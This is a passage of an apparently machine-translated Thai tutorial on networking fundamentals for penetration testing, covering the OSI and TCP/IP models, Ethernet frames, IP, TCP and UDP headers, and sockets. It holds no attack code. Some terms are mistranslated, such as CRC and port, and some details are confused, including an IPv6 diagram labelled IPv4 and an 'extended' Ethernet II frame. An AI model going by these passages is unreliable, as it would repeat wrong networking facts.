การพิสูจน์แนวคิดหรือรายงานทางเทคนิคต้องประกอบด้วยรายละเอียดทางเทคนิคของการทดสอบและแง่มุม / ส่วนประกอบทั้งหมดที่ตกลงกันเป็นตัวชี้วัดความสำเร็จที่สำคัญในแบบฝึกหัดก่อนการมีส่วนร่วม ส่วนรายงานทางเทคนิคจะอธิบายรายละเอียดขอบเขตข้อมูลเส้นทางการโจมตีผลกระทบและคำแนะนำในการแก้ไขของการทดสอบ

เราได้ยินมาตลอดว่าในการทดสอบการเจาะผู้ดูแลจะต้องทราบเกี่ยวกับแนวคิดพื้นฐานเกี่ยวกับระบบเครือข่ายเช่นที่อยู่ IP, เครือข่ายย่อยแบบคลาสสิก, เครือข่ายย่อยแบบไม่มีคลาส, พอร์ตและเครือข่ายกระจายเสียง เหตุผลประการแรกคือกิจกรรมต่างๆเช่นโฮสต์ที่อาศัยอยู่ในขอบเขตที่ได้รับการอนุมัติและบริการพอร์ตและคุณลักษณะใดบ้างที่เปิดอยู่และตอบสนองได้จะเป็นตัวกำหนดว่าผู้ประเมินจะดำเนินการในการทดสอบการเจาะระบบกิจกรรมประเภทใด สภาพแวดล้อมเปลี่ยนแปลงไปเรื่อย ๆ และระบบมักจะถูกจัดสรรใหม่ ดังนั้นจึงค่อนข้างเป็นไปได้ที่ช่องโหว่เก่า ๆ อาจเกิดขึ้นอีกครั้งและหากไม่มีความรู้ที่ดีในการสแกนเครือข่ายอาจเกิดขึ้นได้ว่าการสแกนครั้งแรกจะต้องได้รับการแก้ไขใหม่ ในส่วนต่อไปเราจะพูดถึงพื้นฐานของการสื่อสารบนเครือข่าย

รุ่นอ้างอิง

Reference Model นำเสนอวิธีการสร้างมาตรฐานซึ่งเป็นที่ยอมรับทั่วโลกเนื่องจากผู้คนที่ใช้เครือข่ายคอมพิวเตอร์อยู่ในช่วงทางกายภาพที่กว้างและอุปกรณ์เครือข่ายของพวกเขาอาจมีสถาปัตยกรรมที่แตกต่างกัน ในการให้การสื่อสารระหว่างอุปกรณ์ที่แตกต่างกันเราจำเป็นต้องมีรูปแบบที่เป็นมาตรฐานเช่นแบบจำลองอ้างอิงซึ่งจะช่วยให้เราสามารถสื่อสารกับอุปกรณ์เหล่านี้ได้

เรามีโมเดลอ้างอิงสองแบบเช่นโมเดล OSI และโมเดลอ้างอิง TCP / IP อย่างไรก็ตามแบบจำลอง OSI เป็นแบบจำลองสมมุติฐาน แต่ TCP / IP เป็นโมเดลที่ใช้งานได้จริง

OSI รุ่น

อินเทอร์เฟซระบบเปิดได้รับการออกแบบโดยองค์กรระหว่างประเทศของ Standardization (ISO) ดังนั้นจึงเรียกอีกอย่างว่า ISO-OSI Model

แบบจำลอง OSI ประกอบด้วยเจ็ดชั้นดังแสดงในแผนภาพต่อไปนี้ แต่ละเลเยอร์มีฟังก์ชันเฉพาะอย่างไรก็ตามแต่ละเลเยอร์ให้บริการแก่เลเยอร์ด้านบน

ชั้นทางกายภาพ

ชั้นกายภาพรับผิดชอบกิจกรรมต่อไปนี้ -

• การเปิดใช้งานการบำรุงรักษาและการปิดใช้งานการเชื่อมต่อทางกายภาพ

• การกำหนดแรงดันไฟฟ้าและอัตราข้อมูลที่จำเป็นสำหรับการส่ง

• การแปลงบิตดิจิทัลเป็นสัญญาณไฟฟ้า

• การตัดสินใจว่าการเชื่อมต่อเป็นแบบซิมเพล็กซ์ฮาล์ฟดูเพล็กซ์หรือฟูลดูเพล็กซ์

ดาต้าลิงค์เลเยอร์

เลเยอร์ลิงค์ข้อมูลทำหน้าที่ดังต่อไปนี้ -

• ทำการซิงโครไนซ์และควบคุมข้อผิดพลาดสำหรับข้อมูลที่จะส่งผ่านฟิสิคัลลิงค์

• เปิดใช้งานการตรวจจับข้อผิดพลาดและเพิ่มบิตตรวจจับข้อผิดพลาดให้กับข้อมูลที่จะส่ง

เลเยอร์เครือข่าย

เลเยอร์เครือข่ายทำหน้าที่ดังต่อไปนี้ -

• เพื่อกำหนดเส้นทางสัญญาณผ่านช่องต่างๆไปยังอีกด้านหนึ่ง

• เพื่อทำหน้าที่เป็นตัวควบคุมเครือข่ายโดยการตัดสินใจว่าควรใช้ข้อมูลเส้นทางใด

• เพื่อแบ่งข้อความขาออกเป็นแพ็กเก็ตและรวบรวมแพ็กเก็ตขาเข้าเป็นข้อความสำหรับระดับที่สูงขึ้น

เลเยอร์การขนส่ง

เลเยอร์การขนส่งทำหน้าที่ดังต่อไปนี้ -

• ตัดสินใจว่าการส่งข้อมูลควรเกิดขึ้นบนเส้นทางขนานหรือเส้นทางเดียว

• ทำการมัลติเพล็กซ์แยกข้อมูล

• แบ่งกลุ่มข้อมูลออกเป็นหน่วยย่อย ๆ เพื่อให้เลเยอร์เครือข่ายจัดการได้อย่างมีประสิทธิภาพมากขึ้น

Transport Layer รับประกันการส่งข้อมูลจากปลายด้านหนึ่งไปยังอีกด้านหนึ่ง

ชั้นเซสชัน

เลเยอร์เซสชันทำหน้าที่ดังต่อไปนี้ -

• จัดการข้อความและซิงโครไนซ์การสนทนาระหว่างสองแอปพลิเคชันที่แตกต่างกัน

• ควบคุมการเข้าสู่ระบบและปิดการระบุผู้ใช้การเรียกเก็บเงินและการจัดการเซสชัน

เลเยอร์การนำเสนอ

เลเยอร์การนำเสนอทำหน้าที่ดังต่อไปนี้ -

• เลเยอร์นี้ช่วยให้มั่นใจได้ว่าข้อมูลจะถูกส่งในรูปแบบที่ระบบรับจะเข้าใจและใช้งานได้

Application Layer

ชั้นแอปพลิเคชันทำหน้าที่ดังต่อไปนี้ -

• ให้บริการที่แตกต่างกันเช่นการจัดการข้อมูลในหลาย ๆ วิธีการถ่ายโอนไฟล์ข้อมูลซ้ำการแจกจ่ายผลลัพธ์เป็นต้น

• ฟังก์ชั่นต่างๆเช่น LOGIN หรือการตรวจสอบรหัสผ่านจะดำเนินการโดยชั้นแอปพลิเคชัน

โมเดล TCP / IP

แบบจำลอง Transmission Control Protocol และ Internet Protocol (TCP / IP) เป็นแบบจำลองที่ใช้ได้จริงและใช้ในอินเทอร์เน็ต

โมเดล TCP / IP รวมสองเลเยอร์ (เลเยอร์ฟิสิคัลและดาต้าลิงค์) ไว้ในเลเยอร์เดียว - เลเยอร์โฮสต์ถึงเครือข่าย แผนภาพต่อไปนี้แสดงเลเยอร์ต่างๆของโมเดล TCP / IP -

Application Layer

เลเยอร์นี้เหมือนกับโมเดล OSI และทำหน้าที่ต่อไปนี้ -

• ให้บริการที่แตกต่างกันเช่นการจัดการข้อมูลในหลาย ๆ วิธีการถ่ายโอนไฟล์ข้อมูลซ้ำการแจกจ่ายผลลัพธ์เป็นต้น

• เลเยอร์แอปพลิเคชันยังทำหน้าที่ต่างๆเช่น LOGIN หรือการตรวจสอบรหัสผ่าน

• ต่อไปนี้เป็นโปรโตคอลต่างๆที่ใช้ในเลเยอร์แอปพลิเคชัน -

  • TELNET
  • FTP
  • SMTP
  • DN
  • HTTP
  • NNTP

เลเยอร์การขนส่ง

มันทำหน้าที่เช่นเดียวกับเลเยอร์การขนส่งในโมเดล OSI พิจารณาประเด็นสำคัญต่อไปนี้ที่เกี่ยวข้องกับเลเยอร์การขนส่ง -

• ใช้โปรโตคอล TCP และ UDP สำหรับการส่งแบบ end to end

• TCP เป็นโปรโตคอลที่เน้นการเชื่อมต่อที่เชื่อถือได้

• TCP ยังจัดการการควบคุมการไหล

• UDP ไม่น่าเชื่อถือและการเชื่อมต่อน้อยโปรโตคอลไม่ดำเนินการควบคุมการไหล

• ใช้โปรโตคอล TCP / IP และ UDP ในเลเยอร์นี้

ชั้นอินเทอร์เน็ต

ฟังก์ชั่นของเลเยอร์นี้คืออนุญาตให้โฮสต์แทรกแพ็กเก็ตลงในเครือข่ายแล้วทำให้พวกมันเดินทางไปยังปลายทางอย่างอิสระ อย่างไรก็ตามลำดับการรับแพ็กเก็ตอาจแตกต่างจากลำดับที่ส่งไป

Internet Protocol (IP) ใช้ในชั้นอินเทอร์เน็ต

Host-to-Network Layer

นี่คือเลเยอร์ที่ต่ำที่สุดในโมเดล TCP / IP โฮสต์ต้องเชื่อมต่อกับเครือข่ายโดยใช้โปรโตคอลบางอย่างเพื่อให้สามารถส่งแพ็กเก็ต IP ผ่านได้ โปรโตคอลนี้แตกต่างกันไปในแต่ละโฮสต์และเครือข่ายไปยังเครือข่าย

โปรโตคอลต่างๆที่ใช้ในเลเยอร์นี้ ได้แก่ -

• ARPANET
• SATNET
• LAN
• วิทยุแพ็คเก็ต

สถาปัตยกรรมที่มีประโยชน์

ต่อไปนี้เป็นสถาปัตยกรรมที่มีประโยชน์ซึ่งใช้ในการสื่อสารผ่านเครือข่าย -

สถาปัตยกรรมเฟรม Ethernet

วิศวกรคนแรกชื่อ Robert Metcalfe ได้คิดค้นเครือข่ายอีเทอร์เน็ตโดยกำหนดภายใต้มาตรฐาน IEEE 802.3 ในปี 1973 เป็นครั้งแรกที่ใช้เพื่อเชื่อมต่อและส่งข้อมูลระหว่างเวิร์กสเตชันและเครื่องพิมพ์ LAN มากกว่า 80% ใช้มาตรฐานอีเธอร์เน็ตเพื่อความเร็วลดต้นทุนและติดตั้งง่าย ในอีกด้านหนึ่งถ้าเราพูดถึงเฟรมข้อมูลจะเดินทางจากโฮสต์ไปยังโฮสต์ในทางนั้น เฟรมประกอบด้วยส่วนประกอบต่างๆเช่นที่อยู่ MAC, ส่วนหัวของ IP, ตัวคั่นเริ่มต้นและจุดสิ้นสุดเป็นต้น

เฟรม Ethernet เริ่มต้นด้วย Preamble และ SFD ส่วนหัวของอีเทอร์เน็ตมีทั้งที่อยู่ MAC ต้นทางและปลายทางหลังจากนั้นจะมีเพย์โหลดของเฟรม ฟิลด์สุดท้ายคือ CRC ซึ่งใช้ในการตรวจจับข้อผิดพลาด โครงสร้างเฟรมอีเทอร์เน็ตพื้นฐานถูกกำหนดไว้ในมาตรฐาน IEEE 802.3 ซึ่งอธิบายได้ดังต่อไปนี้ -

รูปแบบเฟรม Ethernet (IEEE 802.3)

แพ็กเก็ตอีเทอร์เน็ตส่งเฟรมอีเทอร์เน็ตเป็นเพย์โหลด ต่อไปนี้เป็นการแสดงกราฟิกของอีเธอร์เน็ตเฟรมพร้อมกับคำอธิบายของแต่ละฟิลด์ -

ชื่อฟิลด์	ปรารภ	SFD (จุดเริ่มต้นของตัวคั่นเฟรม)	MAC ปลายทาง	ที่มา MAC	ประเภท	ข้อมูล	ศอฉ
ขนาด (เป็นไบต์)	7	1	6	6	2	46-1500	4

ปรารภ

เฟรมอีเทอร์เน็ตนำหน้าด้วยพรีแอมเบลอร์ขนาด 7 ไบต์ซึ่งแจ้งให้ระบบรับทราบว่าเฟรมกำลังเริ่มทำงานและอนุญาตให้ผู้ส่งและผู้รับสร้างการซิงโครไนซ์บิต

SFD (จุดเริ่มต้นของตัวคั่นเฟรม)

นี่คือฟิลด์ 1 ไบต์ที่ใช้เพื่อแสดงว่าฟิลด์ที่อยู่ MAC ปลายทางเริ่มต้นด้วยไบต์ถัดไป บางครั้งช่อง SFD ถือเป็นส่วนหนึ่งของคำนำ นั่นคือเหตุผลที่คำนำหน้าถือว่าเป็น 8 ไบต์ในหลาย ๆ ที่

• Destination MAC - นี่คือฟิลด์ 6 ไบต์ซึ่งเรามีที่อยู่ของระบบรับ

• Source MAC - นี่คือฟิลด์ 6 ไบต์ซึ่งเรามีที่อยู่ของระบบส่ง

• Type- กำหนดประเภทของโปรโตคอลภายในเฟรม ตัวอย่างเช่น IPv4 หรือ IPv6 มีขนาด 2 ไบต์

• Data- เรียกอีกอย่างว่า Payload และข้อมูลจริงจะถูกแทรกที่นี่ ความยาวต้องอยู่ระหว่าง 46-1500 ไบต์ หากความยาวน้อยกว่า 46 ไบต์จะมีการเพิ่มช่องว่างของ 0 เพื่อให้เป็นไปตามความยาวขั้นต่ำที่เป็นไปได้นั่นคือ 46

• CRC (Cyclic Redundancy Check) - นี่คือฟิลด์ 4 ไบต์ที่มี CRC 32 บิตซึ่งช่วยให้ตรวจจับข้อมูลที่เสียหายได้

รูปแบบ Extended Ethernet Frame (Ethernet II frame)

ต่อไปนี้เป็นการแสดงกราฟิกของเฟรม Ethernet แบบขยายซึ่งเราสามารถรับ Payload ที่มีขนาดใหญ่กว่า 1,500 ไบต์ -

ชื่อฟิลด์	MAC ปลายทาง	ที่มา MAC	ประเภท	DSAP	SSAP	Ctrl	ข้อมูล	ศอฉ
ขนาด (เป็นไบต์)	6	6	2	1	1	1	> 46	4

คำอธิบายของฟิลด์ซึ่งแตกต่างจาก IEEE 802.3 Ethernet frame มีดังต่อไปนี้ -

DSAP (จุดเชื่อมต่อบริการปลายทาง)

DSAP เป็นฟิลด์ขนาด 1 ไบต์ที่แสดงที่อยู่แบบลอจิคัลของเอนทิตีเลเยอร์เครือข่ายที่ต้องการรับข้อความ

SSAP (จุดเชื่อมต่อบริการต้นทาง)

SSAP เป็นฟิลด์ขนาด 1 ไบต์ที่แสดงถึงโลจิคัลแอดเดรสของเอนทิตีเลเยอร์เครือข่ายที่สร้างข้อความ

Ctrl

นี่คือฟิลด์ควบคุม 1 ไบต์

สถาปัตยกรรมแพ็คเก็ต IP

Internet Protocol เป็นหนึ่งในโปรโตคอลหลักในชุดโปรโตคอล TCP / IP โปรโตคอลนี้ทำงานที่เลเยอร์เครือข่ายของโมเดล OSI และที่ชั้นอินเทอร์เน็ตของโมเดล TCP / IP ดังนั้นโปรโตคอลนี้จึงมีหน้าที่ในการระบุโฮสต์ตามที่อยู่ตรรกะและกำหนดเส้นทางข้อมูลระหว่างพวกเขาผ่านเครือข่ายพื้นฐาน IP มีกลไกในการระบุโฮสต์ที่ไม่ซ้ำกันโดยโครงร่างที่อยู่ IP IP ใช้ความพยายามอย่างเต็มที่ในการจัดส่งกล่าวคือไม่รับประกันว่าแพ็กเก็ตจะถูกส่งไปยังโฮสต์ปลายทาง แต่จะพยายามอย่างเต็มที่เพื่อไปให้ถึงปลายทาง

ในส่วนต่อไปเราจะเรียนรู้เกี่ยวกับ IP สองเวอร์ชันที่แตกต่างกัน

IPv4

นี่คือ Internet Protocol เวอร์ชัน 4 ซึ่งใช้ที่อยู่โลจิคัล 32 บิต ต่อไปนี้เป็นแผนภาพของส่วนหัว IPv4 พร้อมกับคำอธิบายของฟิลด์ -

เวอร์ชัน

นี่คือเวอร์ชันของ Internet Protocol ที่ใช้ ตัวอย่างเช่น IPv4

IHL

ความยาวส่วนหัวอินเทอร์เน็ต ความยาวของส่วนหัว IP ทั้งหมด

DSCP

จุดรหัสบริการที่แตกต่าง นี่คือประเภทของบริการ

ECN

การแจ้งเตือนความแออัดอย่างชัดเจน มันมีข้อมูลเกี่ยวกับความแออัดที่เห็นในเส้นทาง

ความยาวรวม

ความยาวของแพ็คเก็ต IP ทั้งหมด (รวมถึงส่วนหัว IP และน้ำหนักบรรทุก IP)

การระบุ

หากแพ็กเก็ต IP แยกส่วนระหว่างการส่งข้อมูลชิ้นส่วนทั้งหมดจะมีหมายเลขประจำตัวเดียวกัน

ธง

ตามที่ทรัพยากรเครือข่ายต้องการหากแพ็กเก็ต IP มีขนาดใหญ่เกินไปที่จะจัดการ 'แฟล็ก' เหล่านี้จะบอกได้ว่าสามารถแยกส่วนได้หรือไม่ ในแฟล็ก 3 บิตนี้ MSB จะถูกตั้งค่าเป็น '0' เสมอ

แฟรกเมนต์ออฟเซ็ต

ออฟเซ็ตนี้บอกตำแหน่งที่แน่นอนของแฟรกเมนต์ใน IP Packet ดั้งเดิม

เวลาที่จะมีชีวิตอยู่

เพื่อหลีกเลี่ยงการวนซ้ำในเครือข่ายทุก ๆ แพ็กเก็ตจะถูกส่งพร้อมกับชุดค่า TTL ซึ่งจะบอกเครือข่ายว่าเราเตอร์ (hops) แพ็กเก็ตนี้สามารถข้ามได้กี่ตัว ในการกระโดดแต่ละครั้งค่าของมันจะลดลงหนึ่งครั้งและเมื่อค่าถึงศูนย์แพ็กเก็ตจะถูกทิ้ง

มาตรการ

บอกเลเยอร์เครือข่ายที่โฮสต์ปลายทางซึ่งโปรโตคอลนี้เป็นของแพ็กเก็ตกล่าวคือโปรโตคอลระดับถัดไป ตัวอย่างเช่นหมายเลขโปรโตคอลของ ICMP คือ 1 TCP คือ 6 และ UDP คือ 17

การตรวจสอบส่วนหัว

ฟิลด์นี้ใช้เพื่อเก็บค่า checksum ของส่วนหัวทั้งหมดซึ่งจะใช้เพื่อตรวจสอบว่าได้รับแพ็กเก็ตโดยไม่มีข้อผิดพลาดหรือไม่

ที่อยู่ต้นทาง

ที่อยู่ 32 บิตของผู้ส่ง (หรือแหล่งที่มา) ของแพ็กเก็ต

ที่อยู่ปลายทาง

ที่อยู่ 32 บิตของผู้รับ (หรือปลายทาง) ของแพ็กเก็ต

ตัวเลือก

นี่เป็นช่องทางเลือกซึ่งจะใช้หากค่าของ IHL มากกว่า 5 ตัวเลือกเหล่านี้อาจมีค่าสำหรับตัวเลือกต่างๆเช่นความปลอดภัยเส้นทางบันทึกการประทับเวลาเป็นต้น

หากคุณต้องการศึกษารายละเอียดเกี่ยวกับ IPv4 โปรดดูที่ลิงค์นี้ - www.tutorialspoint.com/ipv4/index.htm

IPv6

Internet Protocol เวอร์ชัน 6 เป็นโปรโตคอลการสื่อสารล่าสุดซึ่ง IPv4 รุ่นก่อนทำงานบน Network Layer (Layer-3) นอกเหนือจากการเสนอพื้นที่ที่อยู่แบบลอจิคัลจำนวนมหาศาลแล้วโปรโตคอลนี้ยังมีคุณสมบัติมากมายซึ่งระบุถึงข้อบกพร่องของ IPv4 ต่อไปนี้เป็นแผนภาพของส่วนหัว IPv4 พร้อมกับคำอธิบายของฟิลด์ -

เวอร์ชัน (4 บิต)

เป็นรุ่นของ Internet Protocol - 0110

ระดับการรับส่งข้อมูล (8 บิต)

8 บิตเหล่านี้แบ่งออกเป็นสองส่วน 6 บิตที่สำคัญที่สุดใช้สำหรับประเภทของบริการเพื่อให้เราเตอร์ทราบว่าควรให้บริการใดกับแพ็กเก็ตนี้ ใช้ 2 บิตที่มีนัยสำคัญน้อยที่สุดสำหรับ Explicit Congestion Notification (ECN)

Flow Label (20 บิต)

เลเบลนี้ใช้เพื่อรักษาการไหลตามลำดับของแพ็กเก็ตที่เป็นของการสื่อสาร ซอร์สจะติดป้ายกำกับลำดับเพื่อช่วยให้เราเตอร์ระบุว่าแพ็กเก็ตนั้นเป็นของโฟลว์ข้อมูลเฉพาะ ฟิลด์นี้ช่วยหลีกเลี่ยงการจัดลำดับแพ็กเก็ตข้อมูลซ้ำ ออกแบบมาสำหรับสื่อสตรีมมิ่ง / เรียลไทม์

ความยาวของน้ำหนักบรรทุก (16 บิต)

ฟิลด์นี้ใช้เพื่อบอกเราเตอร์ว่าข้อมูลในแพ็กเก็ตนั้นมีข้อมูลเท่าใดในเพย์โหลด Payload ประกอบด้วย Extension Headers และ Upper Layer data ด้วย 16 บิตสามารถระบุได้สูงสุด 65535 ไบต์ แต่ถ้าส่วนหัวของส่วนขยายมีส่วนหัวของส่วนขยายแบบ Hop-by-Hop น้ำหนักบรรทุกอาจเกิน 65535 ไบต์และฟิลด์นี้ถูกตั้งค่าเป็น 0

ส่วนหัวถัดไป (8 บิต)

ช่องนี้ใช้เพื่อระบุประเภทของส่วนหัวส่วนขยายหรือถ้าไม่มีส่วนหัวของส่วนขยายแสดงว่ามี PDU ชั้นบน ค่าสำหรับประเภทของ Upper Layer PDU จะเหมือนกับของ IPv4

ขีด จำกัด การกระโดด (8 บิต)

ฟิลด์นี้ใช้เพื่อหยุดแพ็กเก็ตที่จะวนซ้ำในเครือข่ายแบบไม่สิ้นสุด สิ่งนี้เหมือนกับ TTL ใน IPv4 ค่าของฟิลด์ขีด จำกัด การกระโดดจะลดลง 1 เมื่อส่งผ่านลิงค์ (เราเตอร์ / ฮอป) เมื่อฟิลด์ถึง 0 แพ็คเก็ตจะถูกทิ้ง

ที่อยู่ต้นทาง (128 บิต)

ฟิลด์นี้ระบุที่อยู่ของผู้สร้างแพ็กเก็ต

ที่อยู่ปลายทาง (128 บิต)

ฟิลด์นี้ระบุที่อยู่ของผู้รับที่ต้องการของแพ็กเก็ต

หากคุณต้องการศึกษารายละเอียดเกี่ยวกับ IPv6 โปรดดูที่ลิงค์นี้ - www.tutorialspoint.com/ipv6/index.htm

สถาปัตยกรรมส่วนหัว TCP (Transmission Control Protocol)

ดังที่เราทราบว่า TCP เป็นโปรโตคอลที่เน้นการเชื่อมต่อซึ่งเซสชันถูกสร้างขึ้นระหว่างสองระบบก่อนที่จะเริ่มการสื่อสาร การเชื่อมต่อจะถูกปิดเมื่อการสื่อสารเสร็จสมบูรณ์ TCP ใช้เทคนิคการจับมือสามทางในการสร้างซ็อกเก็ตการเชื่อมต่อระหว่างสองระบบ การจับมือสามทางหมายความว่าข้อความสามรายการ - SYN, SYN-ACK และ ACK จะถูกส่งไปมาระหว่างสองระบบ ขั้นตอนของการทำงานระหว่างสองระบบการเริ่มต้นและระบบเป้าหมายมีดังนี้ -

Step 1 − Packet with SYN flag set

ก่อนอื่นระบบที่พยายามเริ่มการเชื่อมต่อเริ่มต้นด้วยแพ็กเก็ตที่มีการตั้งค่าสถานะ SYN

Step 2 − Packet with SYN-ACK flag set

ตอนนี้ในขั้นตอนนี้ระบบเป้าหมายจะส่งคืนแพ็กเก็ตที่มีชุดค่าสถานะ SYN และ ACK

Step 3 − Packet with ACK flag set

ในที่สุดระบบเริ่มต้นจะส่งคืนแพ็กเก็ตไปยังระบบเป้าหมายดั้งเดิมด้วยการตั้งค่าสถานะ ACK

ต่อไปนี้เป็นแผนภาพของส่วนหัว TCP พร้อมกับคำอธิบายของฟิลด์ -

พอร์ตต้นทาง (16 บิต)

ระบุพอร์ตต้นทางของกระบวนการแอปพลิเคชันบนอุปกรณ์ที่ส่ง

พอร์ตปลายทาง (16 บิต)

ระบุพอร์ตปลายทางของกระบวนการแอปพลิเคชันบนอุปกรณ์รับ

หมายเลขลำดับ (32 บิต)

หมายเลขลำดับไบต์ข้อมูลของเซ็กเมนต์ในเซสชัน

หมายเลขการรับทราบ (32 บิต)

เมื่อตั้งค่าสถานะ ACK หมายเลขนี้จะมีหมายเลขลำดับถัดไปของไบต์ข้อมูลที่คาดไว้และทำงานเป็นการรับทราบข้อมูลก่อนหน้านี้ที่ได้รับ

Data Offset (4 บิต)

ฟิลด์นี้หมายถึงทั้งขนาดของส่วนหัว TCP (คำ 32 บิต) และออฟเซ็ตของข้อมูลในแพ็กเก็ตปัจจุบันในเซ็กเมนต์ TCP ทั้งหมด

สงวนไว้ (3 บิต)

สงวนไว้สำหรับการใช้งานในอนาคตและตั้งค่าเป็นศูนย์ตามค่าเริ่มต้น

แฟล็ก (แบบละ 1 บิต)

• NS - กระบวนการส่งสัญญาณการแจ้งเตือนความแออัดอย่างชัดเจนใช้บิต Nonce Sum นี้

• CWR - เมื่อโฮสต์ได้รับแพ็กเก็ตที่มีการตั้งค่าบิต ECE ระบบจะตั้งค่า Congestion Windows Reduced เพื่อรับทราบว่าได้รับ ECE

• ECE - มันมีสองความหมาย -

  • ถ้า SYN บิตชัดเจนเป็น 0 ดังนั้น ECE หมายความว่าแพ็คเก็ต IP มีชุดบิต CE (ประสบการณ์ความแออัด)

  • ถ้า SYN bit ถูกตั้งค่าเป็น 1 ECE หมายความว่าอุปกรณ์นั้นสามารถใช้ ECT ได้

• URG - ระบุว่าช่องตัวชี้ด่วนมีข้อมูลสำคัญและควรได้รับการประมวลผล

• ACK- แสดงว่าช่องรับทราบมีความสำคัญ ถ้า ACK ถูกล้างเป็น 0 แสดงว่าแพ็กเก็ตไม่มีการตอบรับใด ๆ

• PSH - เมื่อตั้งค่าแล้วจะเป็นการร้องขอไปยังสถานีรับเพื่อส่งข้อมูล (ทันทีที่มา) ไปยังแอปพลิเคชันรับโดยไม่ต้องบัฟเฟอร์

• RST - ตั้งค่าสถานะใหม่มีคุณสมบัติดังต่อไปนี้ -

• ใช้เพื่อปฏิเสธการเชื่อมต่อที่เข้ามา

• ใช้เพื่อปฏิเสธกลุ่ม

• ใช้เพื่อเริ่มการเชื่อมต่อใหม่

• SYN - แฟล็กนี้ใช้เพื่อตั้งค่าการเชื่อมต่อระหว่างโฮสต์

• FIN- แฟล็กนี้ใช้เพื่อปล่อยการเชื่อมต่อและไม่มีการแลกเปลี่ยนข้อมูลอีกหลังจากนั้น เนื่องจากแพ็กเก็ตที่มีแฟล็ก SYN และ FIN มีหมายเลขลำดับจึงประมวลผลตามลำดับที่ถูกต้อง

ขนาด Windows

ฟิลด์นี้ใช้สำหรับการควบคุมการไหลระหว่างสองสถานีและระบุจำนวนบัฟเฟอร์ (เป็นไบต์) ที่ผู้รับจัดสรรสำหรับเซ็กเมนต์กล่าวคือจำนวนข้อมูลที่ผู้รับคาดหวัง

• Checksum - ฟิลด์นี้ประกอบด้วยการตรวจสอบส่วนหัวข้อมูลและส่วนหัวหลอก

• Urgent Pointer - ชี้ไปที่ไบต์ข้อมูลเร่งด่วนหากตั้งค่าสถานะ URG เป็น 1

• Options- อำนวยความสะดวกในตัวเลือกเพิ่มเติมซึ่งไม่ครอบคลุมในส่วนหัวปกติ ฟิลด์ตัวเลือกจะอธิบายเป็นคำ 32 บิตเสมอ หากช่องนี้มีข้อมูลน้อยกว่า 32 บิตจะมีการใช้ช่องว่างภายในเพื่อปกปิดบิตที่เหลือเพื่อให้ถึงขอบเขต 32 บิต

หากคุณต้องการศึกษารายละเอียด TCP โปรดดูที่ลิงค์นี้ - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

สถาปัตยกรรมส่วนหัว UDP (User Datagram Protocol)

UDP เป็นโปรโตคอลที่ไม่มีการเชื่อมต่อที่เรียบง่ายซึ่งแตกต่างจาก TCP ซึ่งเป็นโปรโตคอลที่เน้นการเชื่อมต่อ มันเกี่ยวข้องกับจำนวนขั้นต่ำของกลไกการสื่อสาร ใน UDP เครื่องรับจะไม่สร้างการตอบรับของแพ็คเก็ตที่ได้รับและในทางกลับกันผู้ส่งจะไม่รอการตอบรับใด ๆ ของแพ็กเก็ตที่ส่ง ข้อบกพร่องนี้ทำให้โปรโตคอลนี้ไม่น่าเชื่อถือและง่ายต่อการประมวลผล ต่อไปนี้เป็นแผนภาพของส่วนหัว UDP พร้อมกับคำอธิบายของฟิลด์ -

พอร์ตต้นทาง

ข้อมูล 16 บิตนี้ใช้เพื่อระบุพอร์ตต้นทางของแพ็กเก็ต

พอร์ตปลายทาง

ข้อมูล 16 บิตนี้ใช้เพื่อระบุบริการระดับแอปพลิเคชันบนเครื่องปลายทาง

ความยาว

ฟิลด์ความยาวระบุความยาวทั้งหมดของแพ็กเก็ต UDP (รวมถึงส่วนหัว) เป็นฟิลด์ 16 บิตและค่าต่ำสุดคือ 8 ไบต์นั่นคือขนาดของส่วนหัว UDP เอง

เช็คซัม

ฟิลด์นี้เก็บค่าการตรวจสอบที่สร้างโดยผู้ส่งก่อนส่ง IPv4 มีฟิลด์นี้เป็นทางเลือกดังนั้นเมื่อฟิลด์ checksum ไม่มีค่าใด ๆ จะถูกสร้างเป็น 0 และบิตทั้งหมดจะถูกตั้งค่าเป็นศูนย์

หากต้องการศึกษารายละเอียด TCP โปรดดูที่ลิงค์นี้ - User Datagram Protocol

ซ็อกเก็ตเป็นจุดสิ้นสุดของช่องทางการสื่อสารแบบสองทิศทาง พวกเขาอาจสื่อสารภายในกระบวนการระหว่างกระบวนการในเครื่องเดียวกันหรือระหว่างกระบวนการในเครื่องอื่น ในบันทึกที่คล้ายกันซ็อกเก็ตเครือข่ายเป็นจุดสิ้นสุดหนึ่งในขั้นตอนการสื่อสารระหว่างสองโปรแกรมที่ทำงานบนเครือข่ายคอมพิวเตอร์เช่นอินเทอร์เน็ต เป็นสิ่งเสมือนจริงและไม่ได้หมายถึงฮาร์ดแวร์ใด ๆ ซ็อกเก็ตเครือข่ายสามารถระบุได้โดยการรวมกันที่ไม่ซ้ำกันของที่อยู่ IP และหมายเลขพอร์ต ซ็อกเก็ตเครือข่ายอาจใช้กับช่องสัญญาณประเภทต่างๆเช่น TCP, UDP และอื่น ๆ

คำศัพท์ต่างๆที่เกี่ยวข้องกับซ็อกเก็ตที่ใช้ในการเขียนโปรแกรมเครือข่ายมีดังนี้ -

โดเมน

โดเมนคือตระกูลของโปรโตคอลที่ใช้เป็นกลไกการขนส่ง ค่าเหล่านี้เป็นค่าคงที่เช่น AF_INET, PF_INET, PF_UNIX, PF_X25 เป็นต้น

ประเภท

Type หมายถึงชนิดของการสื่อสารระหว่างจุดสิ้นสุดสองจุดโดยทั่วไปคือ SOCK_STREAM สำหรับโปรโตคอลที่เน้นการเชื่อมต่อและ SOCK_DGRAM สำหรับโปรโตคอลที่ไม่มีการเชื่อมต่อ

มาตรการ

ซึ่งอาจใช้เพื่อระบุรูปแบบของโปรโตคอลภายในโดเมนและประเภท ค่าเริ่มต้นคือ 0 ซึ่งมักจะถูกปล่อยทิ้งไว้

ชื่อโฮสต์

สิ่งนี้ทำงานเป็นตัวระบุของอินเทอร์เฟซเครือข่าย ชื่อโฮสต์อาจเป็นสตริงแอดเดรสแบบจุด - รูปสี่เหลี่ยมหรือที่อยู่ IPV6 ในเครื่องหมายโคลอน (และอาจเป็นจุด)

ท่าเรือ

แต่ละเซิร์ฟเวอร์จะรับฟังไคลเอ็นต์ที่เรียกใช้พอร์ตอย่างน้อยหนึ่งพอร์ต พอร์ตอาจเป็นหมายเลขพอร์ต Fixnum สตริงที่มีหมายเลขพอร์ตหรือชื่อของบริการ

โมดูลซ็อกเก็ตของ Python สำหรับการเขียนโปรแกรมซ็อกเก็ต

